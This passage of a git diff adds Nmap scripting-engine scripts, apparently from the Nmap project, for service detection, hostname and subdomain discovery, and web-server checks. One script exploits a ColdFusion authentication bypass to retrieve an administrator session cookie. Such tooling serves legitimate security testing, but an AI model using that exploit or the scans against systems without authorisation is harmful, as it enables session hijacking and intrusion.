+function get_text_callback(store, name)
+ if ELEMENTS[name] == nil then return end
+ name = ELEMENTS[name]
+ if name == 'SOAPACTIONS' or name == 'Sub Device URLs' or name == 'Type' then
+ return function(content)
+ store[name] = store[name] or {}
+ table.insert(store[name], content)
+ end
+ else
+ return function(content)
+ store[name] = content
+ end
+ end
+end
+
+function action (host, port)
+
+ -- Identify servers that answer 200 to invalid HTTP requests and exit as these would invalidate the tests
+ local status_404, result_404, _ = http.identify_404(host,port)
+ if ( status_404 and result_404 == 200 ) then
+ stdnse.debug1("Exiting due to ambiguous response from web server on %s:%s. All URIs return status 200.", host.ip, port.number)
+ return nil
+ end
+
+ local output = stdnse.output_table()
+ local response = http.get(host, port, '/HNAP1')
+ if response.status and response.status == 200 then
+ local parser = slaxml.parser:new()
+ parser._call = {startElement = function(name)
+ parser._call.text = get_text_callback(output, name) end,
+ closeElement = function(name) parser._call.text = function() return nil end end
+ }
+ parser:parseSAX(response.body, {stripWhitespace=true})
+
+ -- exit if the parser does not return output
+ if not next(output) then return nil end
+
+ -- set the port verson
+ port.version.name = "hnap"
+ port.version.name_confidence = 10
+ port.version.product = output["Description"] or nil
+ port.version.version = output["Model"] or nil
+ port.version.devicetype = output["Type"] and output["Type"][1] or nil
+ port.version.cpe = port.version.cpe or {}
+
+ if output["Vendor"] and output["Model"] then
+ table.insert(port.version.cpe, "cpe:/h:".. output["Vendor"]:lower() .. ":" .. output["Model"]:lower())
+ end
+ nmap.set_port_version(host, port, "hardmatched")
+
+ return output
+ end
+end
+
diff --git a/scripts/hostmap-bfk.nse b/scripts/hostmap-bfk.nse
new file mode 100644
index 0000000..f28a8ae
--- /dev/null
+++ b/scripts/hostmap-bfk.nse
@@ -0,0 +1,130 @@
+local http = require "http"
+local io = require "io"
+local ipOps = require "ipOps"
+local stdnse = require "stdnse"
+local string = require "string"
+local stringaux = require "stringaux"
+local table = require "table"
+local target = require "target"
+
+description = [[
+Discovers hostnames that resolve to the target's IP address by querying the online database at http://www.bfk.de/bfk_dnslogger.html.
+
+The script is in the "external" category because it sends target IPs to a third party in order to query their database.
+
+This script was formerly (until April 2012) known as hostmap.nse.
+]]
+
+---
+-- @args hostmap-bfk.prefix If set, saves the output for each host in a file
+-- called "<prefix><target>". The file contains one entry per line.
+-- @args newtargets If set, add the new hostnames to the scanning queue.
+-- This the names presumably resolve to the same IP address as the
+-- original target, this is only useful for services such as HTTP that
+-- can change their behavior based on hostname.
+--
+-- @usage
+-- nmap --script hostmap-bfk --script-args hostmap-bfk.prefix=hostmap- <targets>
+--
+-- @output
+-- Host script results:
+-- | hostmap-bfk:
+-- | hosts:
+-- | insecure.org
+-- | 173.255.243.189
+-- | images.insecure.org
+-- | www.insecure.org
+-- | nmap.org
+-- | 189.243.255.173.in-addr.arpa
+-- | mail.nmap.org
+-- | svn.nmap.org
+-- | www.nmap.org
+-- | sectools.org
+-- | seclists.org
+-- |_ li253-189.members.linode.com
+--
+-- @xmloutput
+-- <table key="hosts">
+-- <elem>insecure.org</elem>
+-- <elem>173.255.243.189</elem>
+-- <elem>images.insecure.org</elem>
+-- <elem>www.insecure.org</elem>
+-- <elem>nmap.org</elem>
+-- <elem>189.243.255.173.in-addr.arpa</elem>
+-- <elem>mail.nmap.org</elem>
+-- <elem>svn.nmap.org</elem>
+-- <elem>www.nmap.org</elem>
+-- <elem>sectools.org</elem>
+-- <elem>seclists.org</elem>
+-- <elem>li253-189.members.linode.com</elem>
+-- </table>
+---
+
+author = "Ange Gutek"
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"external", "discovery"}
+
+
+local HOSTMAP_SERVER = "www.bfk.de"
+
+local write_file
+
+hostrule = function(host)
+ return not ipOps.isPrivate(host.ip)
+end
+
+action = function(host)
+ local query = "/bfk_dnslogger.html?query=" .. host.ip
+ local response
+ local output_tab = stdnse.output_table()
+ response = http.get(HOSTMAP_SERVER, 80, query, {any_af=true})
+ if not response.status then
+ stdnse.debug1("Error: could not GET http://%s%s", HOSTMAP_SERVER, query)
+ return nil
+ end
+ local hostnames = {}
+ local hosts_log = {}
+ for entry in string.gmatch(response.body, "#result\" rel=\"nofollow\">(.-)</a></tt>") do
+ if not hostnames[entry] then
+ if target.ALLOW_NEW_TARGETS then
+ local status, err = target.add(entry)
+ end
+ hostnames[entry] = true
+ hosts_log[#hosts_log + 1] = entry
+ end
+ end
+
+ if #hosts_log == 0 then
+ if not string.find(response.body, "<p>The server returned no hits.</p>") then
+ stdnse.debug1("Error: found no hostnames but not the marker for \"no hostnames found\" (pattern error?)")
+ end
+ return nil
+ end
+ output_tab.hosts = hosts_log
+ local hostnames_str = table.concat(hostnames, "\n")
+
+ local filename_prefix = stdnse.get_script_args("hostmap-bfk.prefix")
+ if filename_prefix then
+ local filename = filename_prefix .. stringaux.filename_escape(host.targetname or host.ip)
+ local status, err = write_file(filename, hostnames_str .. "\n")
+ if status then
+ output_tab.filename = filename
+ else
+ stdnse.debug1("Error saving to %s: %s\n", filename, err)
+ end
+ end
+
+ return output_tab
+end
+
+function write_file(filename, contents)
+ local f, err = io.open(filename, "w")
+ if not f then
+ return f, err
+ end
+ f:write(contents)
+ f:close()
+ return true
+end
diff --git a/scripts/hostmap-crtsh.nse b/scripts/hostmap-crtsh.nse
new file mode 100644
index 0000000..3e62fb2
--- /dev/null
+++ b/scripts/hostmap-crtsh.nse
@@ -0,0 +1,158 @@
+description = [[
+Finds subdomains of a web server by querying Google's Certificate Transparency
+logs database (https://crt.sh).
+
+The script will run against any target that has a name, either specified on the
+command line or obtained via reverse-DNS.
+
+NSE implementation of ctfr.py (https://github.com/UnaPibaGeek/ctfr.git) by Sheila Berta.
+
+References:
+* www.certificate-transparency.org
+]]
+
+---
+-- @args hostmap.prefix If set, saves the output for each host in a file
+-- called "<prefix><target>". The file contains one entry per line.
+-- @args newtargets If set, add the new hostnames to the scanning queue.
+-- This the names presumably resolve to the same IP address as the
+-- original target, this is only useful for services such as HTTP that
+-- can change their behavior based on hostname.
+--
+-- @usage
+-- nmap --script hostmap-crtsh --script-args 'hostmap-crtsh.prefix=hostmap-' <targets>
+-- @usage
+-- nmap -sn --script hostmap-crtsh <target>
+-- @output
+-- Host script results:
+-- | hostmap-crtsh:
+-- | subdomains:
+-- | svn.nmap.org
+-- | www.nmap.org
+-- |_ filename: output_nmap.org
+-- @xmloutput
+-- <table key="subdomains">
+-- <elem>svn.nmap.org</elem>
+-- <elem>www.nmap.org</elem>
+-- </table>
+-- <elem key="filename">output_nmap.org</elem>
+---
+
+-- TODO:
+-- At the moment the script reports all hostname-like identities where
+-- the parent hostname is present somewhere in the identity. Specifically,
+-- the script does not verify that a returned identity is truly a subdomain
+-- of the parent hostname. As an example, one of the returned identities for
+-- "google.com" is "google.com.gr".
+-- Since fixing it would change the script behavior that some users might
+-- currently depend on then this should be discussed first. [nnposter]
+
+author = "Paulino Calderon <calderon@websec.mx>"
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"external", "discovery"}
+
+local io = require "io"
+local http = require "http"
+local json = require "json"
+local stdnse = require "stdnse"
+local string = require "string"
+local stringaux = require "stringaux"
+local target = require "target"
+local table = require "table"
+local tableaux = require "tableaux"
+
+-- Different from stdnse.get_hostname
+-- this function returns nil if the host is only known by IP address
+local function get_hostname (host)
+ return host.targetname or (host.name ~= '' and host.name) or nil
+end
+
+-- Run on any target that has a name
+hostrule = get_hostname
+
+local function is_valid_hostname (name)
+ local labels = stringaux.strsplit("%.", name)
+ -- DNS name cannot be longer than 253
+ -- do not accept TLDs; at least second-level domain required
+ -- TLD cannot be all digits
+ if #name > 253 or #labels < 2 or labels[#labels]:find("^%d+$") then
+ return false
+ end
+ for _, label in ipairs(labels) do
+ if not (#label <= 63 and label:find("^[%w_][%w_-]*%f[-\0]$")) then
+ return false
+ end
+ end
+ return true
+end
+
+local function query_ctlogs(hostname)
+ local url = string.format("https://crt.sh/?q=%%.%s&output=json", hostname)
+ local response = http.get_url(url)
+ if not (response.status == 200 and response.body) then
+ stdnse.debug1("Error: Could not GET %s", url)
+ return
+ end
+ local jstatus, jresp = json.parse(response.body)
+ if not jstatus then
+ stdnse.debug1("Error: Invalid response from %s", url)
+ return
+ end
+ local hostnames = {}
+ for _, cert in ipairs(jresp) do
+ local names = cert.name_value;
+ if type(names) == "string" then
+ for _, name in ipairs(stringaux.strsplit("%s+", names:lower())) do
+ -- if this is a wildcard name, just proceed with the static portion
+ if name:find("*.", 1, true) == 1 then
+ name = name:sub(3)
+ end
+ if name ~= hostname and not hostnames[name] and is_valid_hostname(name) then
+ hostnames[name] = true
+ if target.ALLOW_NEW_TARGETS then
+ target.add(name)
+ end
+ end
+ end
+ end
+ end
+
+ hostnames = tableaux.keys(hostnames)
+ return #hostnames > 0 and hostnames or nil
+end
+
+local function write_file(filename, contents)
+ local f, err = io.open(filename, "w")
+ if not f then
+ return f, err
+ end
+ f:write(contents)
+ f:close()
+ return true
+end
+
+action = function(host)
+ local filename_prefix = stdnse.get_script_args("hostmap.prefix")
+ local hostname = get_hostname(host)
+ local hostnames = query_ctlogs(hostname)
+ if not hostnames then return end
+
+ local output_tab = stdnse.output_table()
+ output_tab.subdomains = hostnames
+ --write to file
+ if filename_prefix then
+ local filename = filename_prefix .. stringaux.filename_escape(hostname)
+ local hostnames_str = table.concat(hostnames, "\n")
+
+ local status, err = write_file(filename, hostnames_str)
+ if status then
+ output_tab.filename = filename
+ else
+ stdnse.debug1("Error saving file %s: %s", filename, err)
+ end
+ end
+
+ return output_tab
+end
diff --git a/scripts/hostmap-robtex.nse b/scripts/hostmap-robtex.nse
new file mode 100644
index 0000000..66035a3
--- /dev/null
+++ b/scripts/hostmap-robtex.nse
@@ -0,0 +1,85 @@
+local http = require "http"
+local ipOps = require "ipOps"
+local stdnse = require "stdnse"
+local slaxml = require "slaxml"
+
+description = [[
+Discovers hostnames that resolve to the target's IP address by querying the online Robtex service at http://ip.robtex.com/.
+
+*TEMPORARILY DISABLED* due to changes in Robtex's API. See https://www.robtex.com/api/
+]]
+
+---
+-- @usage
+-- nmap --script hostmap-robtex -sn -Pn scanme.nmap.org
+--
+-- @output
+-- | hostmap-robtex:
+-- | hosts:
+-- |_ scanme.nmap.org
+--
+-- @xmloutput
+-- <table key="hosts">
+-- <elem>nmap.org</elem>
+-- </table>
+---
+
+author = "Arturo 'Buanzo' Busleiman"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {
+ "discovery",
+ "safe",
+ "external"
+}
+
+
+prerule = function() return true end
+action = function()
+ return "*TEMPORARILY DISABLED* due to changes in Robtex's API. See https://www.robtex.com/api/"
+end
+
+--[[
+--- Scrape domains sharing target host ip from robtex website
+--
+-- //section[@id="x_shared"]//li//text()
+-- @param data string containing the retrieved web page
+-- @return table containing the host names sharing host.ip
+function parse_robtex_response (data)
+ local in_li = false
+ local result = {}
+
+ local parser = slaxml.parser:new({
+ startElement = function(name, nsURI, nsPrefix)
+ in_li = in_li or name == "li"
+ end,
+ closeElement = function(name, nsURI, nsPrefix)
+ if name == "li" then
+ in_li = false
+ end
+ end,
+ text = function(text)
+ if in_li then
+ result[#result+1] = text
+ end
+ end,
+ })
+ parser:parseSAX(data:match('<section[^>]-id="x_shared".-</section>'))
+
+ return result
+end
+
+hostrule = function (host)
+ return not ipOps.isPrivate(host.ip)
+end
+
+action = function (host)
+ local link = "https://www.robtex.com/en/advisory/ip/" .. host.ip:gsub("%.", "/") .. "/"
+ local htmldata = http.get_url(link)
+ local domains = parse_robtex_response(htmldata.body)
+ local output_tab = stdnse.output_table()
+ if (#domains > 0) then
+ output_tab.hosts = domains
+ end
+ return output_tab
+end
+]]--
diff --git a/scripts/http-adobe-coldfusion-apsa1301.nse b/scripts/http-adobe-coldfusion-apsa1301.nse
new file mode 100644
index 0000000..19ba220
--- /dev/null
+++ b/scripts/http-adobe-coldfusion-apsa1301.nse
@@ -0,0 +1,66 @@
+description = [[
+Attempts to exploit an authentication bypass vulnerability in Adobe Coldfusion
+servers to retrieve a valid administrator's session cookie.
+
+Reference:
+* APSA13-01: http://www.adobe.com/support/security/advisories/apsa13-01.html
+]]
+
+---
+-- @see http-coldfusion-subzero.nse
+-- @see http-vuln-cve2009-3960.nse
+-- @see http-vuln-cve2010-2861.nse
+--
+-- @usage nmap -sV --script http-adobe-coldfusion-apsa1301 <target>
+-- @usage nmap -p80 --script http-adobe-coldfusion-apsa1301 --script-args basepath=/cf/adminapi/ <target>
+--
+-- @output
+-- PORT STATE SERVICE
+-- 80/tcp open http
+-- | http-adobe-coldfusion-apsa1301:
+-- |_ admin_cookie: aW50ZXJhY3RpdmUNQUEyNTFGRDU2NzM1OEYxNkI3REUzRjNCMjJERTgxOTNBNzUxN0NEMA1jZmFkbWlu
+--
+-- @args http-adobe-coldfusion-apsa1301.basepath URI path to administrator.cfc. Default: /CFIDE/adminapi/
+--
+---
+
+author = "Paulino Calderon <calderon@websec.mx>"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"exploit", "vuln"}
+
+local http = require "http"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local url = require "url"
+
+portrule = shortport.http
+local DEFAULT_PATH = "/CFIDE/adminapi/"
+local MAGIC_URI = "administrator.cfc?method=login&adminpassword=&rdsPasswordAllowed=true"
+---
+-- Extracts the admin cookie by reading CFAUTHORIZATION_cfadmin from the header 'set-cookie'
+--
+local function get_admin_cookie(host, port, basepath)
+ local req = http.get(host, port, url.absolute(basepath, MAGIC_URI))
+ if not req then return nil end
+ for _, ck in ipairs(req.cookies or {}) do
+ stdnse.debug2("Set-Cookie for %q detected in response.", ck.name)
+ if ck.name == "CFAUTHORIZATION_cfadmin" and ck.value:len() > 79 then
+ stdnse.debug1("Extracted cookie:%s", ck.value)
+ return ck.value
+ end
+ end
+ return nil
+end
+
+action = function(host, port)
+ local output_tab = stdnse.output_table()
+ local basepath = stdnse.get_script_args(SCRIPT_NAME..".basepath") or DEFAULT_PATH
+ local cookie = get_admin_cookie(host, port, basepath)
+ if cookie then
+ output_tab.admin_cookie = cookie
+ else
+ return nil
+ end
+
+ return output_tab
+end
diff --git a/scripts/http-affiliate-id.nse b/scripts/http-affiliate-id.nse
new file mode 100644
index 0000000..72c4a1f
--- /dev/null
+++ b/scripts/http-affiliate-id.nse
@@ -0,0 +1,167 @@
+local http = require "http"
+local nmap = require "nmap"
+local re = require "re"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local table = require "table"
+local tableaux = require "tableaux"
+
+description = [[
+Grabs affiliate network IDs (e.g. Google AdSense or Analytics, Amazon
+Associates, etc.) from a web page. These can be used to identify pages
+with the same owner.
+
+If there is more than one target using an ID, the postrule of this
+script shows the ID along with a list of the targets using it.
+
+Supported IDs:
+* Google Analytics
+* Google AdSense
+* Amazon Associates
+]]
+
+---
+-- @args http-affiliate-id.url-path The path to request. Defaults to
+-- <code>/</code>.
+--
+-- @usage
+-- nmap --script=http-affiliate-id.nse --script-args http-affiliate-id.url-path=/website <target>
+--
+-- @output
+-- PORT STATE SERVICE
+-- 80/tcp open http
+-- | http-affiliate-id:
+-- | Amazon Associates ID: XXXX-XX
+-- | Google Adsense ID: pub-YYYY
+-- |_ Google Analytics ID: UA-ZZZZ-ZZ
+-- Post-scan script results:
+-- | http-affiliate-id: Possible related sites
+-- | Google Analytics ID: UA-2460010-99 used by:
+-- | thisisphotobomb.memebase.com:80/
+-- | memebase.com:80/
+-- | Google Adsense ID: pub-0766144451700556 used by:
+-- | thisisphotobomb.memebase.com:80/
+-- |_ memebase.com:80/
+
+author = {"Hani Benhabiles", "Daniel Miller", "Patrick Donnelly"}
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"safe", "discovery"}
+
+
+-- these are the regular expressions for affiliate IDs
+local AFFILIATE_PATTERNS = {
+ ["Google Analytics ID"] = re.compile [[{| ({'UA-' [%d]^6 [%d]^-3 '-' [%d][%d]?} / .)* |}]],
+ ["Google Adsense ID"] = re.compile [[{| ({'pub-' [%d]^16} / .)* |}]],
+ ["Amazon Associates ID"] = re.compile [[
+ body <- {| (uri / .)* |}
+ uri <- 'http://' ('www.amazon.com/' ([\?&;] 'tag=' tag / [^"'])*) / ('rcm.amazon.com/' ([\?&;] 't=' tag / [^"'])*)
+ tag <- {[%w]+ '-' [%d]+}
+]],
+}
+
+local URL_SHORTENERS = {
+ ["amzn.to"] = re.compile [[{| ( 'http://' ('www.')? 'amzn.to' {'/' ([%a%d])+ } / .)*|}]]
+}
+
+
+portrule = shortport.http
+
+postrule = function() return (nmap.registry["http-affiliate-id"] ~= nil) end
+
+--- put id in the nmap registry for usage by other scripts
+--@param host nmap host table
+--@param port nmap port table
+--@param affid affiliate id table
+local add_key_to_registry = function(host, port, path, affid)
+ local site = host.targetname or host.ip
+ site = site .. ":" .. port.number .. path
+ nmap.registry["http-affiliate-id"] = nmap.registry["http-affiliate-id"] or {}
+
+ nmap.registry["http-affiliate-id"][site] = nmap.registry["http-affiliate-id"][site] or {}
+ table.insert(nmap.registry["http-affiliate-id"][site], affid)
+end
+
+portaction = function(host, port)
+ local result = {}
+ local url_path = stdnse.get_script_args("http-affiliate-id.url-path") or "/"
+ local body = http.get(host, port, url_path).body
+
+ if ( not(body) ) then
+ return
+ end
+
+ local followed = {}
+
+ for shortener, pattern in pairs(URL_SHORTENERS) do
+ for i, shortened in ipairs(pattern:match(body)) do
+ stdnse.debug1("Found shortened Url: " .. shortened)
+ local response = http.get(shortener, 80, shortened)
+ stdnse.debug1("status code: %d", response.status)
+ if (response.status == 301 or response.status == 302) and response.header['location'] then
+ followed[#followed + 1] = response.header['location']
+ end
+ end
+ end
+ followed = table.concat(followed, "\n")
+
+ -- Here goes affiliate matching
+ for name, pattern in pairs(AFFILIATE_PATTERNS) do
+ local ids = {}
+ for i, id in ipairs(pattern:match(body..followed)) do
+ if not ids[id] then
+ result[#result + 1] = name .. ": " .. id
+ stdnse.debug1("found id:" .. result[#result])
+ add_key_to_registry(host, port, url_path, result[#result])
+ ids[id] = true
+ end
+ end
+ end
+
+ return stdnse.format_output(true, result)
+end
+
+--- iterate over the list of gathered ids and look for related sites (sharing the same siteids)
+local function postaction()
+ local siteids = {}
+ local output = {}
+
+ -- create a reverse mapping affiliate ids -> site(s)
+ for site, ids in pairs(nmap.registry["http-affiliate-id"]) do
+ for _, id in ipairs(ids) do
+ if not siteids[id] then
+ siteids[id] = {}
+ end
+ -- discard duplicate IPs
+ if not tableaux.contains(siteids[id], site) then
+ table.insert(siteids[id], site)
+ end
+ end
+ end
+
+ -- look for sites using the same affiliate id
+ for id, sites in pairs(siteids) do
+ if #siteids[id] > 1 then
+ local str = id .. ' used by:'
+ for _, site in ipairs(siteids[id]) do
+ str = str .. '\n ' .. site
+ end
+ table.insert(output, str)
+ end
+ end
+
+ if #output > 0 then
+ return 'Possible related sites\n' .. table.concat(output, '\n')
+ end
+end
+
+local ActionsTable = {
+ -- portrule: get affiliate ids
+ portrule = portaction,
+ -- postrule: look for related sites (same affiliate ids)
+ postrule = postaction
+}
+
+-- execute the action function corresponding to the current rule
+action = function(...) return ActionsTable[SCRIPT_TYPE](...) end
diff --git a/scripts/http-apache-negotiation.nse b/scripts/http-apache-negotiation.nse
new file mode 100644
index 0000000..42b7915
--- /dev/null
+++ b/scripts/http-apache-negotiation.nse
@@ -0,0 +1,66 @@
+local http = require "http"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+
+description = [[
+Checks if the target http server has mod_negotiation enabled. This
+feature can be leveraged to find hidden resources and spider a web
+site using fewer requests.
+
+The script works by sending requests for resources like index and home
+without specifying the extension. If mod_negotiate is enabled (default
+Apache configuration), the target would reply with content-location header
+containing target resource (such as index.html) and vary header containing
+"negotiate" depending on the configuration.
+
+For more information, see:
+* http://www.wisec.it/sectou.php?id=4698ebdc59d15
+* Metasploit auxiliary module
+ /modules/auxiliary/scanner/http/mod_negotiation_scanner.rb
+]]
+
+---
+-- @usage
+-- nmap --script=http-apache-negotiation --script-args http-apache-negotiation.root=/root/ <target>
+--
+-- @output
+-- PORT STATE SERVICE
+-- 80/tcp open http
+-- |_http-apache-negotiation: mod_negotiation enabled.
+--
+-- @args http-apache-negotiation.root target web site root.
+-- Defaults to <code>/</code>.
+
+author = "Hani Benhabiles"
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"safe", "discovery"}
+
+
+portrule = shortport.http
+
+action = function(host, port)
+
+ local root = stdnse.get_script_args("http-apache-negotiation.root") or "/"
+
+ -- Common default file names. Could add a couple more.
+ local files = {
+ 'robots',
+ 'index',
+ 'home',
+ 'blog'
+ }
+
+ for _, file in ipairs(files) do
+ local header = http.get(host, port, root .. file).header
+
+ -- Matching file. in content-location header
+ -- or negotiate in vary header.
+ if header["content-location"] and string.find(header["content-location"], file ..".")
+ or header["vary"] and string.find(header["vary"], "negotiate") then
+ return "mod_negotiation enabled."
+ end
+ end
+end
diff --git a/scripts/http-apache-server-status.nse b/scripts/http-apache-server-status.nse
new file mode 100644
index 0000000..fd9259b
--- /dev/null
+++ b/scripts/http-apache-server-status.nse
@@ -0,0 +1,126 @@
+local nmap = require "nmap"
+local shortport = require "shortport"
+local http = require "http"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+description = [[
+Attempts to retrieve the server-status page for Apache webservers that
+have mod_status enabled. If the server-status page exists and appears to
+be from mod_status the script will parse useful information such as the
+system uptime, Apache version and recent HTTP requests.
+
+References:
+* http://httpd.apache.org/docs/2.4/mod/mod_status.html
+* https://blog.sucuri.net/2012/10/popular-sites-with-apache-server-status-enabled.html
+* https://www.exploit-db.com/ghdb/1355/
+* https://github.com/michenriksen/nmap-scripts
+]]
+
+---
+--@usage nmap -p80 --script http-apache-server-status <target>
+--@usage nmap -sV --script http-apache-server-status <target>
+--
+--@output
+-- PORT STATE SERVICE
+-- 80/tcp open http
+-- | http-apache-server-status:
+-- | Heading: Apache Server Status for example.com (via 127.0.1.1)
+-- | Server Version: Apache/2.4.12 (Ubuntu)
+-- | Server Built: Jul 24 2015 15:59:00
+-- | Server Uptime: 53 minutes 31 seconds
+-- | Server Load: 0.00 0.01 0.05
+-- | VHosts:
+-- |_ www.example.com:80 GET /server-status HTTP/1.1
+--
+-- @xmloutput
+-- <elem key="Heading">Apache Server Status for example.com (via 127.0.1.1)</elem>
+-- <elem key="Server Version">Apache/2.4.12 (Ubuntu)</elem>
+-- <elem key="Server Built">Jul 24 2015 15:59:00</elem>
+-- <elem key="Server Uptime">59 minutes 26 seconds</elem>
+-- <elem key="Server Load">0.01 0.02 0.05</elem>
+-- <table key="VHosts">
+-- <elem>www.example.com:80</elem>
+-- </table>
+
+author = "Eric Gershman"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "safe"}
+
+portrule = function(host, port)
+ if not shortport.http(host, port) then
+ return false
+ end
+ if port.version and port.version.product then
+ return string.match(port.version.product, "Apache")
+ end
+ return true
+end
+
+action = function(host, port)
+ -- Perform a GET request for /server-status
+ local path = "/server-status"
+ local response = http.get(host,port,path)
+ local result = {}
+
+ -- Fail if there is no data in the response, the response body or if the HTTP status code is not successful
+ if not response or not response.status or response.status ~= 200 or not response.body then
+ stdnse.debug(1, "Failed to retrieve: %s", path)
+ return
+ end
+
+ -- Fail if this doesn't appear to be an Apache mod_status page
+ if not string.match(response.body, "Apache%sServer%sStatus") then
+ stdnse.debug(1, "%s does not appear to be a mod_status page", path)
+ return
+ end
+
+ result = stdnse.output_table()
+
+ -- Remove line breaks from response.body to handle html tags that span multiple lines
+ response.body = string.gsub(response.body, "\n", "")
+
+ -- Add useful data to the result table
+ result["Heading"] = string.match(response.body, "<h1>([^<]*)</h1>")
+ result["Server Version"] = string.match(response.body, "Server%sVersion:%s*([^<]*)</")
+ result["Server Built"] = string.match(response.body, "Server%sBuilt:%s*([^<]*)</")
+ result["Server Uptime"] = string.match(response.body, "Server%suptime:%s*([^<]*)</")
+ result["Server Load"] = string.match(response.body, "Server%sload:%s*([^<]*)</")
+
+ port.version = port.version or {}
+ if port.version.product == nil and (port.version.name_confidence or 0) <= 3 then
+ port.version.service = "http"
+ port.version.product = "Apache httpd"
+ local cpe = "cpe:/a:apache:http_server"
+ local version, extra = string.match(result["Server Version"], "^Apache/([%w._-]+)%s*(.-)$")
+ if version then
+ cpe = cpe .. ":" .. version
+ port.version.version = version
+ end
+ if extra then
+ port.version.extrainfo = extra
+ end
+ port.version.cpe = port.version.cpe or {}
+ table.insert(port.version.cpe, cpe)
+ nmap.set_port_version(host, port, "hardmatched")
+ end
+
+ result.VHosts = {}
+ local uniq_requests = {}
+
+ -- Parse the Apache client requests into the result table
+ for line in string.gmatch(response.body, "<td nowrap>.-</td></tr>") do
+ -- skip line if the request is empty
+ if not string.match(line, "<td%snowrap></td><td%snowrap></td></tr>") then
+ local vhost = string.match(line, ">([^<]*)</td><td")
+ uniq_requests[vhost] = 1
+ end
+ end
+ for request,count in pairs(uniq_requests) do
+ table.insert(result.VHosts,request)
+ end
+ table.sort(result.VHosts)
+
+ return result
+end
diff --git a/scripts/http-aspnet-debug.nse b/scripts/http-aspnet-debug.nse
new file mode 100644
index 0000000..111bf65
--- /dev/null
+++ b/scripts/http-aspnet-debug.nse
@@ -0,0 +1,60 @@
+local http = require "http"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+
+description = [[
+Determines if a ASP.NET application has debugging enabled using a HTTP DEBUG request.
+
+The HTTP DEBUG verb is used within ASP.NET applications to start/stop remote
+debugging sessions. The script sends a 'stop-debug' command to determine the
+application's current configuration state but access to RPC services is required
+ to interact with the debugging session. The request does not change the
+application debugging configuration.
+]]
+
+---
+-- @usage nmap --script http-aspnet-debug <target>
+-- @usage nmap --script http-aspnet-debug --script-args http-aspnet-debug.path=/path <target>
+--
+-- @args http-aspnet-debug.path Path to URI. Default: /
+--
+-- @output
+-- 80/tcp open http syn-ack
+-- | http-aspnet-debug:
+-- |_ status: DEBUG is enabled
+--
+-- @xmloutput
+-- <elem key="status">DEBUG is enabled</elem>
+---
+
+author = "Josh Amishav-Zlatin"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = { "vuln", "discovery" }
+
+portrule = shortport.http
+
+local function generate_http_debug_req(host, port, path)
+ local status = false
+ local options = {header={}}
+ options["header"]["Command"] = "stop-debug"
+ options["redirect_ok"] = 2
+
+ -- send DEBUG request with stop-debug command
+ local req = http.generic_request(host, port, "DEBUG", path, options)
+
+ stdnse.debug1("Response body: %s", req.body )
+ if req.body:match("OK") then
+ status = true
+ end
+ return status
+end
+
+action = function(host, port)
+ local output = stdnse.output_table()
+ local path = stdnse.get_script_args(SCRIPT_NAME .. ".path") or "/"
+ local status = generate_http_debug_req(host, port, path)
+ if status then
+ output.status = "DEBUG is enabled"
+ return output
+ end
+end
diff --git a/scripts/http-auth-finder.nse b/scripts/http-auth-finder.nse
new file mode 100644
index 0000000..a46a544
--- /dev/null
+++ b/scripts/http-auth-finder.nse
@@ -0,0 +1,119 @@
+local http = require "http"
+local httpspider = require "httpspider"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local tab = require "tab"
+local table = require "table"
+
+description = [[
+Spiders a web site to find web pages requiring form-based or HTTP-based authentication. The results are returned in a table with each url and the
+detected method.
+]]
+
+---
+-- @usage
+-- nmap -p 80 --script http-auth-finder <ip>
+--
+-- @output
+-- PORT STATE SERVICE
+-- 80/tcp open http
+-- | http-auth-finder:
+-- | url method
+-- | http://192.168.1.162/auth1/index.html HTTP: Basic, Digest, Negotiate
+-- |_ http://192.168.1.162/auth2/index.html FORM
+--
+-- @args http-auth-finder.maxdepth the maximum amount of directories beneath
+-- the initial url to spider. A negative value disables the limit.
+-- (default: 3)
+-- @args http-auth-finder.maxpagecount the maximum amount of pages to visit.
+-- A negative value disables the limit (default: 20)
+-- @args http-auth-finder.url the url to start spidering. This is a URL
+-- relative to the scanned host eg. /default.html (default: /)
+-- @args http-auth-finder.withinhost only spider URLs within the same host.
+-- (default: true)
+-- @args http-auth-finder.withindomain only spider URLs within the same
+-- domain. This widens the scope from <code>withinhost</code> and can
+-- not be used in combination. (default: false)
+--
+-- @see http-auth.nse
+-- @see http-brute.nse
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "safe"}
+
+
+portrule = shortport.http
+
+local function parseAuthentication(resp)
+ local www_authenticate = resp.header["www-authenticate"]
+ if ( not(www_authenticate) ) then
+ return false, "Server returned no authentication headers."
+ end
+
+ local challenges = http.parse_www_authenticate(www_authenticate)
+ if ( not(challenges) ) then
+ return false, ("Authentication header (%s) could not be parsed."):format(www_authenticate)
+ end
+ return true, challenges
+end
+
+
+action = function(host, port)
+
+ -- create a new crawler instance
+ local crawler = httpspider.Crawler:new( host, port, nil, { scriptname = SCRIPT_NAME } )
+
+ if ( not(crawler) ) then
+ return
+ end
+
+ -- create a table entry in the registry
+ nmap.registry.auth_urls = nmap.registry.auth_urls or {}
+ crawler:set_timeout(10000)
+
+ local auth_urls = tab.new(2)
+ tab.addrow(auth_urls, "url", "method")
+ while(true) do
+ local status, r = crawler:crawl()
+ -- if the crawler fails it can be due to a number of different reasons
+ -- most of them are "legitimate" and should not be reason to abort
+ if ( not(status) ) then
+ if ( r.err ) then
+ return stdnse.format_output(false, r.reason)
+ else
+ break
+ end
+ end
+
+ -- HTTP-based authentication
+ if ( r.response.status == 401 ) then
+ local status, auth = parseAuthentication(r.response)
+ if ( status ) then
+ local schemes = {}
+ for _, item in ipairs(auth) do
+ if ( item.scheme ) then
